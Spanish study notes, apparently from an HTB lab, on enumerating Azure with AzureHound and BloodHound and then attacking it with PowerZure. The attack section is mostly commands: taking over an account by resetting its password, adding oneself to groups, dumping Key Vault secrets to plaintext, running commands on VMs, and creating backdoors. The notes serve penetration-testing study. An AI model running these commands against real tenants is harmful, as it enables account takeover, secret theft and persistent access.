Skip to content

BloodHound — Azure Enumeration (AzureHound)

Conceptos clave

Los nodos y edges de Azure en BloodHound tienen el prefijo AZ. El enfoque es el mismo que en AD: encontrar rutas de ataque entre nodos usando edges que representan permisos y relaciones.

A diferencia de AD, los usuarios en Azure no pueden leer todos los objetos por defecto. Si el usuario comprometido no tiene permisos de lectura sobre un objeto, AzureHound no lo recolectará.


Nodos de Azure en BloodHound

AZTenant           → tenant de Azure AD (instancia dedicada para una organización)
AZUser             → usuario en Azure AD
AZGroup            → grupo en Azure AD
AZApp              → aplicación registrada en Azure AD
AZSubscription     → suscripción de Azure (contenedor lógico de recursos)
AZResourceGroup    → grupo de recursos (contenedor con ciclo de vida compartido)
AZVM               → máquina virtual en Azure
AZDevice           → dispositivo registrado en Azure AD
AZServicePrincipal → identidad de seguridad usada por aplicaciones y servicios

Edges de Azure más importantes

AZAddMembers          → puede agregar miembros a grupos o roles
AZAddOwner            → puede agregar propietarios a suscripciones
AZAppAdmin            → rol administrativo sobre una aplicación Azure AD
AZCloudAppAdmin       → rol administrativo sobre una aplicación cloud
AZContributor         → rol Contributor en un scope de recurso (gestión total)
AZExecuteCommand      → puede ejecutar comandos en una VM
AZGetCertificates     → puede obtener certificados de un Key Vault
AZGetKeys             → puede obtener claves de un Key Vault
AZGetSecrets          → puede obtener secretos de un Key Vault
AZGlobalAdmin         → rol Global Administrator en Azure AD (máximo privilegio)
AZKeyVaultContributor → gestión de Key Vaults
AZManagedIdentity     → recurso con identidad administrada para autenticarse a otros servicios
AZOwns                → propietario de un recurso
AZPrivilegedRoleAdmin → acceso total a Azure AD y todos los servicios Azure
AZResetPassword       → puede resetear contraseñas de otros usuarios
AZUserAccessAdmin     → gestión de acceso de usuarios a recursos Azure
AZVMAdminLogin        → puede iniciar sesión como admin en una VM

AzureHound — Recolección de datos

Métodos de autenticación disponibles

Usuario y contraseña
JSON Web Token (JWT)
Refresh Token
Service Principal Secret
Service Principal Certificate

Recolección con usuario y contraseña

c
.\azurehound.exe -u "Isabella.Miller@tenant.onmicrosoft.com" -p "Password123!" list --tenant "tenant.onmicrosoft.com" -o all.json

Recolección con Refresh Token

c
.\azurehound.exe -r "<refresh_token>" list --tenant "tenant.onmicrosoft.com" -o all.json

Recolección con Service Principal

c
.\azurehound.exe -a "<app_id>" -s "<client_secret>" list --tenant "tenant.onmicrosoft.com" -o all.json

Importar datos a BloodHound

Arrastrar y soltar el archivo all.json directamente en la ventana de BloodHound o usar el botón de Upload Data.

No genera múltiples archivos como SharpHound — AzureHound produce un solo JSON con todo.


Análisis de datos Azure en BloodHound

No hay queries pre-construidas para Azure en BloodHound legacy. Hay que usar la navegación manual o Cypher.

Ver qué controla un usuario comprometido

Buscar: el usuario (ej: Isabella.Miller@tenant.onmicrosoft.com)
→ Outbound Object Control → Transitive Object Control

Muestra todos los objetos que el usuario puede controlar de forma directa o encadenada.

Buscar por tipo de nodo Azure

AZSubscription:   → suscripciones
AZVM:             → máquinas virtuales
AZGroup:          → grupos de Azure AD
AZUser:           → usuarios de Azure AD
AZKeyVault:       → key vaults

Si el usuario comprometido no tiene permisos de lectura sobre esos objetos, no aparecerán en BloodHound.

Queries Cypher para Azure

c
# Todos los usuarios de Azure
MATCH (u:AZUser) RETURN u.name

# Usuarios con rol Global Admin
MATCH p=(u)-[:AZGlobalAdmin]->(t:AZTenant) RETURN u.name, t.name

# Rutas de ataque desde un usuario Azure
MATCH p = shortestPath((n:AZUser {name:"ISABELLA.MILLER@TENANT.ONMICROSOFT.COM"})-[*1..]->(c))
WHERE NOT n=c
RETURN p

# Quién puede ejecutar comandos en VMs
MATCH p=(n)-[:AZExecuteCommand]->(vm:AZVM) RETURN n.name, vm.name

# Quién puede leer secretos de Key Vaults
MATCH p=(n)-[:AZGetSecrets]->(kv:AZKeyVault) RETURN n.name, kv.name

# Quién puede resetear contraseñas
MATCH p=(n)-[:AZResetPassword]->(u:AZUser) RETURN n.name, u.name

Consideraciones importantes

En Azure los permisos son más granulares que en AD. Un usuario puede tener el rol Password Administrator que le permite resetear contraseñas de usuarios no administradores pero no de admins.

AzureHound solo recolecta lo que el usuario autenticado puede leer. Si buscas AZSubscription: y no devuelve nada, el usuario no tiene permisos de lectura sobre la suscripción, no significa que no exista.

Cancelar la suscripción de Azure al terminar los ejercicios para evitar cargos inesperados.

BloodHound — Azure Attacks (PowerZure)

¿Qué es PowerZure?

PowerZure es un framework de PowerShell para enumerar y atacar entornos Azure, similar a lo que PowerView hace para Active Directory.


Setup inicial

Conectar a Azure

c
# Con credenciales en variable
$username = "Isabella.Miller@tenant.onmicrosoft.com"
$password = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential $username, $password
Connect-AzAccount -Credential $creds

# Interactivo (ventana de login)
Connect-AzAccount

Importar PowerZure

c
Import-Module .\PowerZure.psd1

# Ver todas las funciones disponibles
Invoke-PowerZure -h

Configurar suscripción si hay varias

c
Set-AzureSubscription

Enumeración con PowerZure

c
# Ver usuario actual y objetos que posee
Get-AzureCurrentUser

# Ver todos los usuarios y sus roles en Azure y AzureAD
Get-AzureADUser

# Ver miembros de un grupo
Get-AzureADGroupMember -Group "Subscription Reader"

# Ver miembros de un rol específico
Get-AzureADRoleMember

# Ver roles de Azure RBAC y sus miembros
Get-AzureRole

# Ver a qué recursos tienes acceso basado en tu rol y scope actual
Get-AzureTarget

# Ver contenido de Key Vaults disponibles
Show-AzureKeyVaultContent

# Ver contenido de Storage
Show-AzureStorageContent

# Ver identidades administradas y sus roles
Get-AzureManagedIdentity

# Ver cuentas RunAs de Automation Accounts
Get-AzureRunAsAccount

# Obtener el TenantID de un dominio
Get-AzureTenantId

Flujo de ataque típico en Azure

Patrón general

1. Comprometer usuario inicial (ej: Isabella via phishing o credenciales filtradas)
2. Recolectar con AzureHound → importar a BloodHound
3. Analizar Transitive Object Control del usuario comprometido
4. Identificar edges abusables (AZResetPassword, AZOwns, AZContributor, etc.)
5. Encadenar los edges hasta llegar al objetivo (Key Vault, VM, suscripción)

Abuso de AZResetPassword

El usuario tiene permisos para resetear la contraseña de otro usuario. Permite tomar control de esa cuenta y heredar todos sus privilegios.

c
# Conectar como el atacante
Connect-AzAccount -Credential $IsabellaCreds

# Resetear contraseña de la víctima
Set-AzureADUserPassword -Username Charlotte.Moore@tenant.onmicrosoft.com -Password NewPassword123!

# Conectar como la víctima
Connect-AzAccount -Credential $CharlotteCreds

Abuso de AZOwns — Agregarse a un grupo

El usuario Charlotte es propietario del grupo "Subscription Reader". Como propietaria puede agregar miembros.

c
# Conectar como Charlotte
Connect-AzAccount -Credential $CharlotteCreds

# Agregarse al grupo
Add-AzureADGroupMember -Group "Subscription Reader" -Username Charlotte.Moore@tenant.onmicrosoft.com

# Verificar membresía
Get-AzureADGroupMember -Group "Subscription Reader"

Una vez en el grupo, re-ejecutar AzureHound con las nuevas credenciales para ver objetos adicionales que antes no eran visibles.

c
.\azurehound.exe -u "Charlotte.Moore@tenant.onmicrosoft.com" -p "NewPassword123!" list --tenant "tenant.onmicrosoft.com" -o all-charlotte.json

Leer secretos de Azure Key Vault

Prerequisito: tener rol AZContributor o AZGetSecrets sobre el Key Vault

c
# Conectar como el usuario con acceso al Key Vault
Connect-AzAccount -Credential $AvaCreds

# Listar secretos disponibles en el Key Vault
Get-AzKeyVaultSecret -VaultName HTB-SECRETPLAINTEXT96519

# Obtener el valor del secreto (viene como SecureString)
$secret = Get-AzKeyVaultSecret -VaultName HTB-SECRETPLAINTEXT96519 -Name HTBKeyVault

# Convertir a texto plano
[System.Net.NetworkCredential]::new('', $secret.SecretValue).Password

# Con PowerZure (alternativa, puede no funcionar en versiones nuevas)
Get-AzureKeyVaultContent -VaultName HTB-SECRETPLAINTEXT96519
Export-AzureKeyVaultContent -VaultName HTB-SECRETPLAINTEXT96519

Ejecutar comandos en Azure VM

Prerequisito: tener AZOwns o AZContributor sobre la VM

c
# Con PowerZure (más simple)
Invoke-AzureRunCommand -VMName "AZVM-01" -Command "whoami"
Invoke-AzureRunCommand -VMName "AZVM-01" -Command "net user"
Invoke-AzureRunCommand -VMName "AZVM-01" -Command "type C:\Users\Administrator\Desktop\flag.txt"

# Con módulo Az (más control)
Invoke-AzVMRunCommand -ResourceGroupName "PRODUCTION" -CommandId "RunPowerShellScript" -VMName "AZVM-01" -ScriptString "whoami"

# Ejecutar un script completo
Invoke-AzVMRunCommand -ResourceGroupName "PRODUCTION" -CommandId "RunPowerShellScript" -VMName "AZVM-01" -ScriptPath ".\payload.ps1"

Otras operaciones útiles con PowerZure

c
# Crear backdoor via Service Principal
New-AzureBackdoor

# Elevar privilegios de Global Admin a User Access Administrator
Set-AzureElevatedPrivileges

# Agregar secreto a un Service Principal
Add-AzureADSPSecret

# Crear usuario en Azure AD
New-AzureADUser

# Asignar rol Azure AD a un usuario
Add-AzureADRole

# Obtener disco de una VM (link de descarga válido 24 horas)
Get-AzureVMDisk -VMName "AZVM-01"

# Obtener contenido de un Runbook
Get-AzureRunbookContent

# Ejecutar un Runbook con RunAs account
Invoke-AzureCommandRunbook

Consideraciones importantes

Si PowerZure falla en alguna función por cambios en la API de Azure, usar directamente los módulos AzureAD y Az:

c
# Instalar módulos si no están
Install-Module AzureAD
Install-Module Az

# Conectar con AzureAD
Connect-AzureAD -Credential $creds

# Conectar con Az
Connect-AzAccount -Credential $creds

Después de terminar los ejercicios, cancelar la suscripción de Azure para evitar cargos: https://docs.microsoft.com/en-us/azure/cost-management-billing/manage/cancel-azure-subscription